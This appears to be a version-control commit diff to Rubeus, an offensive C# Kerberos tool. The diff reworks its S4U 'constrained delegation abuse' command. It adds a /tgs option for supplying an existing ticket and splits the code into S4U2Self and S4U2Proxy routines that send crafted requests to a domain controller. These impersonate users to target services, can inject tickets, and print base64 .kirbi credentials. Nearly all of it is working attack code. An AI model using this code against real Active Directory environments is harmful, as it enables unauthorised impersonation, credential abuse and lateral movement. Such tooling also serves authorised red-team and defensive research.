commit
989c373b55
|
@ -19,6 +19,7 @@ namespace Rubeus.Commands
|
|||
bool ptt = false;
|
||||
string dc = "";
|
||||
Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; // throwaway placeholder, changed to something valid
|
||||
KRB_CRED tgs = null;
|
||||
|
||||
if (arguments.ContainsKey("/user"))
|
||||
{
|
||||
|
@ -57,6 +58,11 @@ namespace Rubeus.Commands
|
|||
}
|
||||
if (arguments.ContainsKey("/impersonateuser"))
|
||||
{
|
||||
if (arguments.ContainsKey("/tgs"))
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply either a /impersonateuser or a /tgs, but not both.\r\n");
|
||||
return;
|
||||
}
|
||||
targetUser = arguments["/impersonateuser"];
|
||||
}
|
||||
|
||||
|
@ -70,18 +76,42 @@ namespace Rubeus.Commands
|
|||
altSname = arguments["/altservice"];
|
||||
}
|
||||
|
||||
if (arguments.ContainsKey("/tgs"))
|
||||
{
|
||||
string kirbi64 = arguments["/tgs"];
|
||||
|
||||
if (Helpers.IsBase64String(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
tgs = new KRB_CRED(kirbiBytes);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
tgs = new KRB_CRED(kirbiBytes);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
targetUser = tgs.enc_part.ticket_info[0].pname.name_string[0];
|
||||
}
|
||||
|
||||
if (String.IsNullOrEmpty(domain))
|
||||
{
|
||||
domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
|
||||
}
|
||||
if (String.IsNullOrEmpty(targetUser))
|
||||
if (String.IsNullOrEmpty(targetUser) && tgs == null)
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a /impersonateuser to impersonate!\r\n");
|
||||
Console.WriteLine("\r\n[X] You must supply a /tgs to impersonate!\r\n");
|
||||
Console.WriteLine("[X] Alternatively, supply a /impersonateuser to perform S4U2Self first.\r\n");
|
||||
return;
|
||||
}
|
||||
if (String.IsNullOrEmpty(targetSPN))
|
||||
if (String.IsNullOrEmpty(targetSPN) && tgs != null)
|
||||
{
|
||||
Console.WriteLine("\r\n[X] You must supply a /msdsspn !\r\n");
|
||||
Console.WriteLine("\r\n[X] If a /tgs is supplied, you must also supply a /msdsspn !\r\n");
|
||||
return;
|
||||
}
|
||||
|
||||
|
@ -93,13 +123,13 @@ namespace Rubeus.Commands
|
|||
{
|
||||
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs);
|
||||
}
|
||||
else if (File.Exists(kirbi64))
|
||||
{
|
||||
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
|
||||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname);
|
||||
S4U.Execute(kirbi, targetUser, targetSPN, ptt, dc, altSname, tgs);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -119,7 +149,7 @@ namespace Rubeus.Commands
|
|||
return;
|
||||
}
|
||||
|
||||
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname);
|
||||
S4U.Execute(user, domain, hash, encType, targetUser, targetSPN, ptt, dc, altSname, tgs);
|
||||
return;
|
||||
}
|
||||
else
|
||||
|
|
|
@ -35,8 +35,8 @@ namespace Rubeus.Domain
|
|||
Console.WriteLine(" Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]");
|
||||
|
||||
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
|
||||
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
|
||||
|
||||
Console.WriteLine("\r\n Submit a TGT, optionally targeting a specific LUID (if elevated):");
|
||||
Console.WriteLine(" Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]");
|
||||
|
|
|
@ -1214,9 +1214,9 @@ namespace Rubeus
|
|||
{
|
||||
Console.WriteLine("\r\n[*] Action: Describe Ticket\r\n");
|
||||
|
||||
string userName = cred.enc_part.ticket_info[0].pname.name_string[0];
|
||||
string userName = string.Join("@", cred.enc_part.ticket_info[0].pname.name_string.ToArray());
|
||||
string domainName = cred.enc_part.ticket_info[0].prealm;
|
||||
string sname = cred.enc_part.ticket_info[0].sname.name_string[0];
|
||||
string sname = string.Join("/", cred.enc_part.ticket_info[0].sname.name_string.ToArray());
|
||||
string srealm = cred.enc_part.ticket_info[0].srealm;
|
||||
string keyType = String.Format("{0}", (Interop.KERB_ETYPE)cred.enc_part.ticket_info[0].key.keytype);
|
||||
string b64Key = Convert.ToBase64String(cred.enc_part.ticket_info[0].key.keyvalue);
|
||||
|
|
|
@ -7,7 +7,7 @@ namespace Rubeus
|
|||
{
|
||||
public class S4U
|
||||
{
|
||||
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
|
||||
public static void Execute(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string targetUser, string targetSPN = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null)
|
||||
{
|
||||
// first retrieve a TGT for the user
|
||||
byte[] kirbiBytes = Ask.TGT(userName, domain, keyString, etype, false, domainController);
|
||||
|
@ -26,23 +26,28 @@ namespace Rubeus
|
|||
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
|
||||
|
||||
// execute the s4u process
|
||||
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService);
|
||||
Execute(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs);
|
||||
}
|
||||
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
|
||||
public static void Execute(KRB_CRED kirbi, string targetUser, string targetSPN = "", bool ptt = false, string domainController = "", string altService = "", KRB_CRED tgs = null)
|
||||
{
|
||||
Console.WriteLine("[*] Action: S4U\r\n");
|
||||
|
||||
// extract out the info needed for the TGS-REQ/S4U2Self execution
|
||||
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
|
||||
string domain = kirbi.enc_part.ticket_info[0].prealm;
|
||||
Ticket ticket = kirbi.tickets[0];
|
||||
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
|
||||
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
|
||||
|
||||
string dcIP = Networking.GetDCIP(domainController);
|
||||
if (String.IsNullOrEmpty(dcIP)) { return; }
|
||||
|
||||
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
|
||||
if (tgs != null && String.IsNullOrEmpty(targetSPN) == false)
|
||||
{
|
||||
Console.WriteLine("[*] Loaded a TGS for {0}\\{1}", tgs.enc_part.ticket_info[0].prealm, tgs.enc_part.ticket_info[0].pname.name_string[0]);
|
||||
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, tgs.tickets[0]);
|
||||
}
|
||||
else
|
||||
{
|
||||
Ticket self = S4U2Self(kirbi, targetUser, targetSPN, ptt, domainController, altService);
|
||||
if (String.IsNullOrEmpty(targetSPN) == false)
|
||||
{
|
||||
S4U2Proxy(kirbi, targetUser, targetSPN, ptt, domainController, altService, self);
|
||||
}
|
||||
}
|
||||
}
|
||||
private static void S4U2Proxy(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "", Ticket tgs = null)
|
||||
{
|
||||
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
|
||||
if (!String.IsNullOrEmpty(altService))
|
||||
{
|
||||
|
@ -57,36 +62,15 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
|
||||
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
|
||||
|
||||
Console.WriteLine("[*] Sending S4U2self request");
|
||||
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
|
||||
if (response == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
// decode the supplied bytes to an AsnElt object
|
||||
// false == ignore trailing garbage
|
||||
AsnElt responseAsn = AsnElt.Decode(response, false);
|
||||
|
||||
// check the response value
|
||||
int responseTag = responseAsn.TagValue;
|
||||
|
||||
if (responseTag == 13)
|
||||
{
|
||||
Console.WriteLine("[+] S4U2self success!");
|
||||
|
||||
// parse the response to an TGS-REP
|
||||
TGS_REP rep = new TGS_REP(responseAsn);
|
||||
|
||||
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
|
||||
AsnElt ae = AsnElt.Decode(outBytes, false);
|
||||
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
|
||||
|
||||
// TODO: ensure the cname contains the name of the user! otherwise s4u not supported
|
||||
// extract out the info needed for the TGS-REQ/S4U2Proxy execution
|
||||
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
|
||||
string domain = kirbi.enc_part.ticket_info[0].prealm;
|
||||
Ticket ticket = kirbi.tickets[0];
|
||||
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
|
||||
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
|
||||
|
||||
string dcIP = Networking.GetDCIP(domainController);
|
||||
if (String.IsNullOrEmpty(dcIP)) { return; }
|
||||
Console.WriteLine("[*] Building S4U2proxy request for service: '{0}'", targetSPN);
|
||||
TGS_REQ s4u2proxyReq = new TGS_REQ();
|
||||
PA_DATA padata = new PA_DATA(domain, userName, ticket, clientKey, etype);
|
||||
|
@ -99,12 +83,13 @@ namespace Rubeus
|
|||
s4u2proxyReq.req_body.realm = domain;
|
||||
|
||||
string[] parts = targetSPN.Split('/');
|
||||
string serverName = parts[1];
|
||||
string serverName = parts[parts.Length-1];
|
||||
|
||||
s4u2proxyReq.req_body.sname.name_type = 2;
|
||||
// the sname
|
||||
s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
|
||||
// the server
|
||||
s4u2proxyReq.req_body.sname.name_string.Add(serverName);
|
||||
foreach(string part in parts)
|
||||
{
|
||||
s4u2proxyReq.req_body.sname.name_string.Add(part);
|
||||
}
|
||||
|
||||
// supported encryption types
|
||||
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
|
||||
|
@ -112,7 +97,7 @@ namespace Rubeus
|
|||
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);
|
||||
|
||||
// add in the ticket from the S4U2self response
|
||||
s4u2proxyReq.req_body.additional_tickets.Add(rep.ticket);
|
||||
s4u2proxyReq.req_body.additional_tickets.Add(tgs);
|
||||
|
||||
byte[] s4ubytes = s4u2proxyReq.Encode().Encode();
|
||||
|
||||
|
@ -125,17 +110,17 @@ namespace Rubeus
|
|||
|
||||
// decode the supplied bytes to an AsnElt object
|
||||
// false == ignore trailing garbage
|
||||
AsnElt responseAsn2 = AsnElt.Decode(response2, false);
|
||||
AsnElt responseAsn = AsnElt.Decode(response2, false);
|
||||
|
||||
// check the response value
|
||||
int responseTag2 = responseAsn2.TagValue;
|
||||
int responseTag = responseAsn.TagValue;
|
||||
|
||||
if (responseTag2 == 13)
|
||||
if (responseTag == 13)
|
||||
{
|
||||
Console.WriteLine("[+] S4U2proxy success!");
|
||||
|
||||
// parse the response to an TGS-REP
|
||||
TGS_REP rep2 = new TGS_REP(responseAsn2);
|
||||
TGS_REP rep2 = new TGS_REP(responseAsn);
|
||||
|
||||
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
|
||||
byte[] outBytes2 = Crypto.KerberosDecrypt(etype, 8, clientKey, rep2.enc_part.cipher);
|
||||
|
@ -289,17 +274,6 @@ namespace Rubeus
|
|||
}
|
||||
}
|
||||
}
|
||||
else if (responseTag2 == 30)
|
||||
{
|
||||
// parse the response to an KRB-ERROR
|
||||
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
|
||||
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||
}
|
||||
}
|
||||
else if (responseTag == 30)
|
||||
{
|
||||
// parse the response to an KRB-ERROR
|
||||
|
@ -311,5 +285,120 @@ namespace Rubeus
|
|||
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||
}
|
||||
}
|
||||
private static Ticket S4U2Self(KRB_CRED kirbi, string targetUser, string targetSPN, bool ptt, string domainController = "", string altService = "")
|
||||
{
|
||||
// extract out the info needed for the TGS-REQ/S4U2Self execution
|
||||
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
|
||||
string domain = kirbi.enc_part.ticket_info[0].prealm;
|
||||
Ticket ticket = kirbi.tickets[0];
|
||||
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
|
||||
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
|
||||
|
||||
string dcIP = Networking.GetDCIP(domainController);
|
||||
if (String.IsNullOrEmpty(dcIP)) { return null; }
|
||||
|
||||
Console.WriteLine("[*] Building S4U2self request for: '{0}\\{1}'", domain, userName);
|
||||
|
||||
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
|
||||
|
||||
Console.WriteLine("[*] Sending S4U2self request");
|
||||
byte[] response = Networking.SendBytes(dcIP, 88, tgsBytes);
|
||||
if (response == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
// decode the supplied bytes to an AsnElt object
|
||||
// false == ignore trailing garbage
|
||||
AsnElt responseAsn = AsnElt.Decode(response, false);
|
||||
|
||||
// check the response value
|
||||
int responseTag = responseAsn.TagValue;
|
||||
|
||||
if (responseTag == 13)
|
||||
{
|
||||
Console.WriteLine("[+] S4U2self success!");
|
||||
|
||||
// parse the response to an TGS-REP
|
||||
TGS_REP rep = new TGS_REP(responseAsn);
|
||||
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
|
||||
byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
|
||||
AsnElt ae = AsnElt.Decode(outBytes, false);
|
||||
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
|
||||
|
||||
// now build the final KRB-CRED structure
|
||||
KRB_CRED cred = new KRB_CRED();
|
||||
|
||||
// add the ticket
|
||||
cred.tickets.Add(rep.ticket);
|
||||
|
||||
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
|
||||
|
||||
KrbCredInfo info = new KrbCredInfo();
|
||||
|
||||
// [0] add in the session key
|
||||
info.key.keytype = encRepPart.key.keytype;
|
||||
info.key.keyvalue = encRepPart.key.keyvalue;
|
||||
|
||||
// [1] prealm (domain)
|
||||
info.prealm = encRepPart.realm;
|
||||
|
||||
// [2] pname (user)
|
||||
info.pname.name_type = rep.cname.name_type;
|
||||
info.pname.name_string = rep.cname.name_string;
|
||||
|
||||
// [3] flags
|
||||
info.flags = encRepPart.flags;
|
||||
|
||||
// [4] authtime (not required)
|
||||
|
||||
// [5] starttime
|
||||
info.starttime = encRepPart.starttime;
|
||||
|
||||
// [6] endtime
|
||||
info.endtime = encRepPart.endtime;
|
||||
|
||||
// [7] renew-till
|
||||
info.renew_till = encRepPart.renew_till;
|
||||
|
||||
// [8] srealm
|
||||
info.srealm = encRepPart.realm;
|
||||
|
||||
// [9] sname
|
||||
info.sname.name_type = encRepPart.sname.name_type;
|
||||
info.sname.name_string = encRepPart.sname.name_string;
|
||||
|
||||
// add the ticket_info into the cred object
|
||||
cred.enc_part.ticket_info.Add(info);
|
||||
|
||||
byte[] kirbiBytes = cred.Encode().Encode();
|
||||
|
||||
string kirbiString = Convert.ToBase64String(kirbiBytes);
|
||||
|
||||
Console.WriteLine("[*] Got a TGS for '{0}' to '{1}\\{2}'", info.pname.name_string[0], info.srealm, info.sname.name_string[0]);
|
||||
Console.WriteLine("[*] base64(ticket.kirbi):\r\n");
|
||||
|
||||
// display the .kirbi base64, columns of 80 chararacters
|
||||
foreach (string line in Helpers.Split(kirbiString, 80))
|
||||
{
|
||||
Console.WriteLine(" {0}", line);
|
||||
}
|
||||
Console.WriteLine("");
|
||||
|
||||
return rep.ticket;
|
||||
}
|
||||
else if (responseTag == 30)
|
||||
{
|
||||
// parse the response to an KRB-ERROR
|
||||
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
|
||||
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
|
||||
}
|
||||
else
|
||||
{
|
||||
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue